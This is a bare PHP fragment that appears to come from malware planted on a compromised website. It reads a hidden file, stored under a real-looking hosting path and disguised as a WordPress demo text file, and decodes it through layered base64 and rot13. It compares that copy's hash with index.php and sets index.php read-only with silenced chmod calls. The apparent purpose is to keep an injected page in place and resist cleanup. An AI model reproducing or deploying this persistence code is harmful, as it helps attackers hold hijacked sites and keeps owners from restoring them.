$index_path = "index.php"; $index = file_get_contents($index_path); $path = "/services/webpages/e/d/edwardsinteriors.net/public/404UJR/8-WordPress-demo-web.txt404/57554"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($index_path, 0644); @chmod($index_path, 0444); } }